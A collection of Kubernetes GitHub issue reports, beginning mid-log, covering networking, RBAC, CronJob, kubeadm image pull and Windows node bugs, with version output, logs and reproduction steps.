targetstrip:0 group: key:}\r i0807 04:00:05.526963       1 dns.go:494  added srv record &{host:3238653332616432.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 04:00:05.527542       1 dns.go:264  new service: drone-server\r    \r \r seems drone-server-0 changed to 3465346530386466 a random value?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    text\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.1-2+ed9e3d33a07093\ , gitcommit:\ ed9e3d33a07093451cdd6fc50027235cbf249df6\ , gittreestate:\ clean\ , builddate:\ 2017-04-13t04:49:56z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release :\r    text\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    text\r linux cs23 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm\r

dear guys:\r \r         i am confused when i tested the k8s network. my scenario is listed as follows:\r         host a access a service using nodeport.  due to the iptables entry \ kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\ , the source ip address in the orignial ip packet sent by a is changed with the ip of docker0. then one of the service pod would receive the new ip packet. in this case, the pod does not know the real destination. how could the response be routed to host a?\r        i caputered the packet flow using wireshark.  i found that the  following cases:\r        a------>pod:  the source ip is changed to the ip of docker0\r       pod--->a: the destination ip is host a, the source ip is changed to the ip of the node where the pod resides. \r \r        i can not connect my analysis with the wireshark. anyone can explain?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos7.1\r - kernel  e.g.  uname -a  : linux kube2 3.10.0-229.el7.x86_64\r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r see https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/networking_utils.go l217\r \r and \r \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/networking_utils.go l273\r \r i assume it should be  mintries  ->  maxtries \r \r this pr fixes the wrong output message.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

when i run local-up-cluster with the cloud-controller-manager  pointing to openstack in my case , i see the following in my  cloud-controller-manager.log \r  \r    \r dims@bigbox:~/go/src/k8s.io/kubernetes$ grep -i forbidden /opt/stack/logs/ .log | grep -i forbidden | grep system:serviceaccount | cut -f 2- -d ' ' | sort | uniq -c\r     134  error monitoring node status: nodes is forbidden: user \ system:serviceaccount:kube-system:cloud-node-controller\  cannot list nodes at the cluster scope\r     652  k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:110: failed to list  v1.persistentvolume: persistentvolumes is forbidden: user \ system:serviceaccount:kube-system:pvl-controller\  cannot list persistentvolumes at the cluster scope\r       1  nodes \ bigbox\  is forbidden: user \ system:serviceaccount:kube-system:cloud-node-controller\  cannot get nodes at the cluster scope\r    \r \r the command line looks like this:\r \r    \r /home/dims/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube controller-manager --v=10 --vmodule= --service-account-private-key-file=/tmp/kube-serviceaccount.key --root-ca-file=/var/run/kubernetes/server-ca.crt --cluster-signing-cert-file=/var/run/kubernetes/server-ca.crt --cluster-signing-key-file=/var/run/kubernetes/server-ca.key --enable-hostpath-provisioner=true --pvclaimbinder-sync-period=15s --feature-gates=allalpha=false --cloud-provider=external --external-cloud-volume-plugin=openstack --cloud-config=/etc/kubernetes/cloud-config --kubeconfig /var/run/kubernetes/controller.kubeconfig --use-service-account-credentials --controllers=  --master=https://localhost:6443\r    \r

is this a feature request?  :\r this container: https://github.com/heptio/kube-conformance should really live upstream and be a build artifact owned by k/k.\r \r  \r  /cc @kubernetes/sig-testing @kubernetes/cncf-conformance-wg \r

ref  16560  15730 here is the road-map:  writing client-gen: -  x  generate the common methods, ignore the methods operating on subresources for now -  x  unify the signature of the common methods in our individual typed clients -  x  make a test type, then write the test against this type instead of every type -  x  manually add the methods that are not common to all typed clients -  x  make go2idl track the functions, constants, variables, methods in the input package. -  x  add a \ plural\  namer to go2idl  using client-gen: -  x  generate the internalversion clientset, to replace pkg/client/clientset/unversioned -  x  generate the fake clients to enable testing -  x  generate versioned client  using generated clientset: -  x  replace the pkg/client/unversioned/ in controllers -  x  replace the pkg/client/unversioned/ in kubelets -     let controllers use versioned clientset -     let kubelet use versioned clientset  cc @kubernetes/goog-csi

gci test failing:  kubernetes-gci-gke-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node   https://k8s-testgrid.appspot.com/google-gke gci-gke-serial-release-1.3

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r mount a hostpath type volume to a pod.\r \r    \r volumemounts:\r - mountpath: tmp\r   name: tmp\r    \r \r    \r volumes:\r - hostpath:\r      path: /tmp\r    name: tmp\r    \r \r then, pod failed as runcontainererror.\r \r    \r  root@sha1000130405 var   kubectl get pod\r name               ready     status              restarts   age\r nginx-rc-k3rd6     0/1       runcontainererror   0          4s\r nginx-rc-w0w6s     0/1       runcontainererror   0          4s\r    \r \r   what you expected to happen  :\r \r kube-apiserver should validate it and make sure  mountpath  inside container should be an absolute path.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r i think the biggest challenge is to make windows path and unix/linux path both compatible.\r

is this a bug report or feature request?  :\r   \r   what happened  :\r pr  46460 introduces a new configuration file that is specified by the  --experimental-encryption-provider-config  option to the api server.\r \r at the current implementation,   parseencryptionconfiguration  uses  ioutil.readall    to load this file  https://github.com/kubernetes/kubernetes/blob/2853f46b02c863274477b0924923fe2ad3798614/staging/src/k8s.io/apiserver/pkg/server/options/encryptionconfig/config.go l60  into the memory.\r \r   what you expected to happen  :\r consider using   http.maxbytesreader   https://golang.org/pkg/net/http/ maxbytesreader  or   io.limitreader   https://golang.org/pkg/io/ limitreader  to limit the max number of bytes that can be read from a file. this can prevent the situation when api server is eating too much memory or even crashing if the config file is huge.\r \r cc @sakshamsharma @smarterclayton

as discussed in https://github.com/kubernetes/apiextensions-apiserver/issues/4 and on slack with @sttts, @nikhita and @colemickens, it'd be good to have a sample-controller example repository to go along with the current  k8s.io/sample-apiserver  repo.\r \r it could show how to properly use the  k8s.io/code-generator  repository to generate code for crd types, and how to set up a basic workqueue and sync controller. this could then be used as a basis/reference for others looking to built their own extensions.\r

there should be some type of  kubectl version -o json  or  -o yaml  so that downstream consumers can get the client and server versions without having to parse human-readable output of the command as today. @mwoodson\r \r   \r /cc @fabianofranz @juanvallejo

  \r   what happened  :\r tried to list the age of pods in the  kube-system  namespace in an otherwise empty cluster\r \r     $ kubectl --namespace kube-system plugin aging\r     the magnificent aging plugin.\r     no pods\r \r   what you expected to happen  :\r that the pods in the  kube-system  namespace would have been listed\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. copy the aging.rb and plugin.yml from https://github.com/kubernetes/kubernetes/tree/master/pkg/kubectl/plugins/examples/aging into  ${home}/.kube/plugins/aging/ .\r 2. run the command:  kubectl --namespace kube-system plugin aging \r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration: minikube & gke\r - os  e.g. from /etc/os-release : mac osx el capitan\r - kernel  e.g.  uname -a  : darwin kernel version 15.6.0\r - install tools: google cloud sdk\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r ippart   in pkg/proxy/util may return bad ip address. for example,\r \r assume endpoints {1.2.3:8080}, then getlocalips   will return  1.2.3  as the ip address.\r \r besides,  getlocalips    in ipvs/proxy is inconsistent with iptables/proxy\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r  \r /area kube-proxy\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we upgraded to 1.9.1 and observed apiserver crashing at boot with no useful error messages. upon taking a packet capture we found that the certificate being presented by etcd was \ bad certificate\ , the v1.8.5 of the apiserver did not have a problem with this cert so this was very confusing, upon further investigation we found it was because the certs did not have a  dns  field, and @liggitt confirmed this is because golang 1.9 has much stricter ssl certificate validation. this wouldn't have been so confusing for us if the kube apiserver logs had indicated that there was a problem with the certs etcd was presenting.\r \r   what you expected to happen  :\r \r kube-apiserver should log ssl certifcate failures when communicating with etcd.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r generate an ssl cert for etcd without the dns field and run k8s apiserver >= 1.9.1\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on prem xen vms\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : \r    \r uname -a\r linux kube-controller01.sand.braintreepayments.com 4.4.0-1-amd64  1 smp debian 4.4.43-1  2017-01-30  x86_64 gnu/linux\r    \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r created a cronjob with the  forbid  concurrency policy. the pod it was trying to run failed to pull its image. the cronjob kept creating new jobs on every run but they could never execute so just kept piling up. the result is i had to manually delete all jobs as deleting the pod and the cronjob didn't help in resolving the issue.\r \r   what you expected to happen  :\r whenever the cronjob decides to skip a run because a previous run is still active it should not create a job even if the previous run is stuck on an error like pulling the image.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create this cronjob:\r \r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: testjob\r spec:\r   schedule: \  /1        \ \r   concurrencypolicy: forbid\r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r             - name: testjob\r               image: busybox:unexistingtag\r           restartpolicy: never\r    \r \r after it tries to start the first pod which hangs on image pull error, update the cronjob with a definition that it pointing to an existing container:\r \r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: testjob\r spec:\r   schedule: \  /1        \ \r   concurrencypolicy: forbid\r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r             - name: testjob\r               image: busybox\r           restartpolicy: never\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5-gke.0\ , gitcommit:\ 2c2a807131fa8708abc92f3513fe167126c8cce5\ , gittreestate:\ clean\ , builddate:\ 2017-12-19t20:05:45z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : gke cos\r - kernel  e.g.  uname -a  : gke cos

please link to this issue or comment on this issue with known errata for the 1.10.x release. this follows what we have done for prior releases.\r \r we will be populating the \ known issues\  section of 1.10.0 and above release notes based on this issue\r \r cc @jdumars @calebamiles @jberkus\r cc @kubernetes/kubernetes-release-managers

failing job\r    gci-gce-alpha-features  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features \r \r    failing test\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/21750\r \r triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=podpreset%20should%20create%20a\r \r this test is currently failing in sig-release master-blocking suite since 5/14.  commit changes  https://github.com/kubernetes/kubernetes/compare/141e4ee0c...ab180d808 . this could potentially block beta v1.11 which is due to be cut tuesday,5/15. @nilebox @n3wscott @mhbauer can one of you please help triage this issue ? this is critical to v1.11 beta. thanks\r \r  / /  @kubernetes/sig-service-catalog-bugs \r \r cc @jberkus @tpepper\r \r /assign @nilebox

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : yes\r \r > uncomment only one, leave it on its own line:\r >\r kind bug\r >  \r \r   what happened  :\r kubeadm init --kubernetes-version ci/latest is failing to fetch images\r \r   what you expected to happen  :\r initiate and start the cluster\r   how to reproduce it  as minimally and precisely as possible   :\r get the latest build kubeadm and run 'kubeadm init --kubernetes-version ci/latest'\r    \r root@ip:/tmp  curl -ssl https://dl.k8s.io/ci-cross/latest.txt\r v1.12.0-alpha.0.883+ad9722c453d28f\r root@ip:/tmp  curl -ssl https://dl.k8s.io/ci-cross/v1.12.0-alpha.0.883+ad9722c453d28f/bin/linux/ppc64le/kubeadm -o kubeadm\r root@ip:/tmp  ls -l kubeadm\r -rw-r--r-- 1 root root 57343842 jun  6 01:49 kubeadm\r root@ip:/tmp  chmod +x kubeadm\r \r root@ip9-114-192-231:/tmp  ./kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.883+ad9722c453d28f\ , gitcommit:\ ad9722c453d28fb7eac4f21c82f60767df3bcb51\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t01:21:22z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r root@ip:/tmp  \r \r root@ip:/tmp  ./kubeadm init --kubernetes-version ci/latest\r \r    \r \r   anything else we need to know?  :\r \r    \r oot@ip:/tmp  ./kubeadm init --kubernetes-version ci/latest\r i0606 01:50:02.114258   14337 feature_gate.go:230  feature gates: &{map  }\r  init  using kubernetes version: v1.12.0-alpha.0.900+d3a797a053b225\r  preflight  running pre-flight checks\r i0606 01:50:02.133987   14337 kernel_validator.go:81  validating kernel version\r i0606 01:50:02.134253   14337 kernel_validator.go:96  validating kernel config\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 18.03.1-ce. max validated version: 17.03\r \t warning service-kubelet : kubelet service is not enabled, please run 'systemctl enable kubelet.service'\r  preflight  some fatal errors occurred:\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-apiserver-ppc64le:v1.12.0-alpha.0.900_d3a797a053b225 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-controller-manager-ppc64le:v1.12.0-alpha.0.900_d3a797a053b225 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-scheduler-ppc64le:v1.12.0-alpha.0.900_d3a797a053b225 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-proxy-ppc64le:v1.12.0-alpha.0.900_d3a797a053b225 : exit status 1\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=... \r root@ip:/tmp  docker images\r repository                 tag                 image id            created             size\r coredns/coredns            1.1.3               4c042053b1f7        12 days ago         36.6mb\r k8s.gcr.io/etcd-ppc64le    3.2.18              e2a6e8e852f7        7 weeks ago         236mb\r k8s.gcr.io/pause-ppc64le   3.1                 1652adb11bd5        5 months ago        666kb\r root@ip:/tmp  \r root@ip:/tmp \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@ip:/tmp  ./kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.883+ad9722c453d28f\ , gitcommit:\ ad9722c453d28fb7eac4f21c82f60767df3bcb51\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t01:24:10z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r the connection to the server 9.114.192.83:8001 was refused - did you specify the right host or port?\r root@ip:/tmp \r    \r - cloud provider or hardware configuration: ppc64le \r - os  e.g. from /etc/os-release : ubuntu16.04.4\r - kernel  e.g.  uname -a  : linux ip9-114-192-231.pok.stglabs.ibm.com 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:02 utc 2018 ppc64le ppc64le ppc64le gnu/linux\r - install tools: kubeadm\r - others:\r

failing jobs\r  sig-release-master-upgrade gce-master-1.10-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.10-downgrade-cluster-parallel \r \r   failing tests\r \r    cluster lifecycle\r  downgrade  feature:downgrade  cluster downgrade should maintain a functioning cluster  feature:clusterdowngrade   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/3558 \r    network\r  ingress-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/3558 \r \r   triage results\r  cluster downgrade should maintain a functioning cluster  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel&test=cluster%20downgrade%20should%20maintain%20a%20functioning%20cluster \r \r tests failing on sig-release-master-upgrade\r  / /   /milestone v1.12\r /cc @tpepper @aishsundar

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r used  helm delete istio  to remove istio.\r \r   what you expected to happen  :\r remove all istio resources.\r \r   how to reproduce it  as minimally and precisely as possible   :\r $ kubectl get pods -n istio-system\r name                                     ready     status        restarts   age\r istio-galley-6c799667d4-6k568            0/1       terminating   0          4d\r istio-sidecar-injector-c8c4c568b-qn5t9   0/1       terminating   0          4d\r $ kubectl delete pod/istio-galley-6c799667d4-6k568 --now\r error from server  notfound : pods \ istio-galley-6c799667d4-6k568\  not found\r $ kubectl delete pod istio-sidecar-injector-c8c4c568b-qn5t9 --now\r error from server  notfound : pods \ istio-sidecar-injector-c8c4c568b-qn5t9\  not found\r $ kubectl get pods -n istio-system\r name                                     ready     status        restarts   age\r istio-galley-6c799667d4-6k568            0/1       terminating   0          4d\r istio-sidecar-injector-c8c4c568b-qn5t9   0/1       terminating   0          4d\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws via kops\r - os  e.g. from /etc/os-release : ubuntu 18.04.1\r - kernel  e.g.  uname -a  : 4.15.0-24-generic\r - install tools: kops 1.10.0\r - others:\r

what happened  :\r \r using vmware fusion on a mac, i have successfully deployed a centos master and centos node cluster. with the examples i'll provide, it is just using a simple nat network, but i get the same result if a create a second network with a static ip address. the kube cluster works perfectly. i am also able to successfully join a windows 1809 core server to the cluster following the documentation found on \ https://docs.microsoft.com/en-us/virtualization/windowscontainers/kubernetes/joining-linux-workers\ .  i am using a flannel network. the windows node shows in a ready state. \r \r however, a failure occurs when a deployment is made to the windows node. when i \ apply\  a deployment to the cluster with the nodeselector set to beta.kubernetes.io/os: windows, the pod successfully \ begins\  deployment on the windows node.  note: i'm pre-tested downloading and running the image on the windows node with a docker command and it works, so the correct image is being downloaded . \r \r i have deployed the example found on the previously referenced microsoft documentation, with the same result, but in the simple example shown below i used this deployment:\r \r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: iis\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: iis\r   template:\r     metadata:\r       labels:\r         app: iis\r     spec:\r       containers:\r       - name: iis\r         image: microsoft/iis\r         resources:\r           limits:\r             memory: \ 128mi\ \r             cpu: 2\r         ports:\r         - containerport: 80\r       nodeselector:\r         beta.kubernetes.io/os: windows\r    \r \r here are the 3 nodes - knnode3w is the windows server core 1809, the other nodes are centos 7\r \r    \r  kubeuser@knmaster ~ $ kubectl get nodes\r name       status   roles    age    version\r knmaster   ready    master   168m   v1.13.1\r knnode1    ready    <none>   162m   v1.13.1\r knnode3w   ready    <none>   46m    v1.12.4\r    \r \r list of all the pods:\r \r    \r  kubeuser@knmaster ~ $ kubectl get pods -o wide --all-namespaces\r namespace     name                                   ready   status             restarts   age    ip                node       nominated node   readiness gates\r default       iis-6c559f5868-vscxm                   0/1     crashloopbackoff   21         44m    <none>            knnode3w   <none>           <none>\r kube-system   coredns-86c58d9df4-gwr57               1/1     running            2          170m   10.244.0.6        knmaster   <none>           <none>\r kube-system   coredns-86c58d9df4-qzqt6               1/1     running            2          170m   10.244.0.7        knmaster   <none>           <none>\r kube-system   etcd-knmaster                          1/1     running            2          169m   192.168.168.141   knmaster   <none>           <none>\r kube-system   kube-apiserver-knmaster                1/1     running            2          169m   192.168.168.141   knmaster   <none>           <none>\r kube-system   kube-controller-manager-knmaster       1/1     running            2          169m   192.168.168.141   knmaster   <none>           <none>\r kube-system   kube-flannel-ds-amd64-6stbk            1/1     running            3          168m   192.168.168.141   knmaster   <none>           <none>\r kube-system   kube-flannel-ds-amd64-vh7lt            1/1     running            4          164m   192.168.168.167   knnode1    <none>           <none>\r kube-system   kube-proxy-kpbvz                       1/1     running            1          164m   192.168.168.167   knnode1    <none>           <none>\r kube-system   kube-proxy-pkr65                       1/1     running            2          168m   192.168.168.141   knmaster   <none>           <none>\r kube-system   kube-scheduler-knmaster                1/1     running            2          169m   192.168.168.141   knmaster   <none>           <none>\r kube-system   kubernetes-dashboard-57df4db6b-sjqg5   1/1     running            1          158m   10.244.1.3        knnode1    <none>           <none>\r    \r \r failed pod description\r \r    \r  kubeuser@knmaster ~ $ kubectl describe pod iis-6c559f5868-vscxm\r name:               iis-6c559f5868-vscxm\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               knnode3w/10.244.2.2\r start time:         tue, 08 jan 2019 15:10:33 -0500\r labels:             app=iis\r                     pod-template-hash=6c559f5868\r annotations:        <none>\r status:             running\r ip:                 \r controlled by:      replicaset/iis-6c559f5868\r containers:\r   iis:\r     container id:   docker://f9ebe56d1a94a2c58d9318c42f7e5f213ebdb466f728c48695fc798d1207173a\r     image:          microsoft/iis\r     image id:       docker-pullable://microsoft/iis@sha256:d87a0d0e81126544d4dca9e5b4f6b51805a3ca6f03615f5caf8e0a96d741eb97\r     port:           80/tcp\r     host port:      0/tcp\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       error\r       exit code:    -1073741510\r       started:      tue, 08 jan 2019 15:53:00 -0500\r       finished:     tue, 08 jan 2019 15:53:00 -0500\r     ready:          false\r     restart count:  21\r     limits:\r       cpu:     2\r       memory:  128mi\r     requests:\r       cpu:        2\r       memory:     128mi\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-m267c  ro \r conditions:\r   type              status\r   initialized       true \r   ready             false \r   containersready   false \r   podscheduled      true \r volumes:\r   default-token-m267c:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-m267c\r     optional:    false\r qos class:       guaranteed\r node-selectors:  beta.kubernetes.io/os=windows\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                   from               message\r   ----     ------                  ----                  ----               -------\r   normal   scheduled               45m                   default-scheduler  successfully assigned default/iis-6c559f5868-vscxm to knnode3w\r   warning  failedcreatepodsandbox  45m                   kubelet, knnode3w  failed create pod sandbox: rpc error: code = unknown desc =  failed to set up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to set up pod \ iis-6c559f5868-vscxm_default\  network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 , failed to clean up sandbox container \ 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e\  network for pod \ iis-6c559f5868-vscxm\ : networkplugin cni failed to teardown pod \ iis-6c559f5868-vscxm_default\  network: failed to find hnsendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0: endpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0 not found \r   normal   pulling                 44m  x3 over 45m      kubelet, knnode3w  pulling image \ microsoft/iis\ \r   normal   pulled                  44m  x3 over 44m      kubelet, knnode3w  successfully pulled image \ microsoft/iis\ \r   normal   created                 44m  x3 over 44m      kubelet, knnode3w  created container\r   normal   started                 44m  x3 over 44m      kubelet, knnode3w  started container\r   normal   killing                 44m  x3 over 44m      kubelet, knnode3w  killing container with id docker://iis:need to kill pod\r   normal   sandboxchanged          25m  x473 over 45m    kubelet, knnode3w  pod sandbox changed, it will be killed and re-created.\r   warning  backoff                 19s  x1055 over 44m   kubelet, knnode3w  back-off restarting failed container\r    \r \r here is the log  kubelet.exe.knnode3w.knnode3w_administrator.log.error.20190108-120851.540  from the windows node:\r \r    \r log file created at: 2019/01/08 12:08:51\r running on machine: knnode3w\r binary: built with gc go1.10.4 for windows/amd64\r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r e0108 12:08:51.760198     540 server.go:731  kubelet needs to run as uid  0 . it is being run as -1\r e0108 12:10:34.923890     540 docker_sandbox.go:688  resolvconfpath is empty.\r e0108 12:10:35.561080     540 cni.go:310  error adding network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 \r e0108 12:10:35.561080     540 cni.go:278  error while adding to cni network: error while provisionendpoint 8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e_cbr0,01fa9118-e56d-4d85-ae5a-86517efdaa18,8ef4df26e9eda04371317603867f4074a0dd6146da7d390562dbf858abf3969e : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 \r e0108 12:10:35.631138     540 cni.go:330  error deleting network: failed to find hnsendpoint 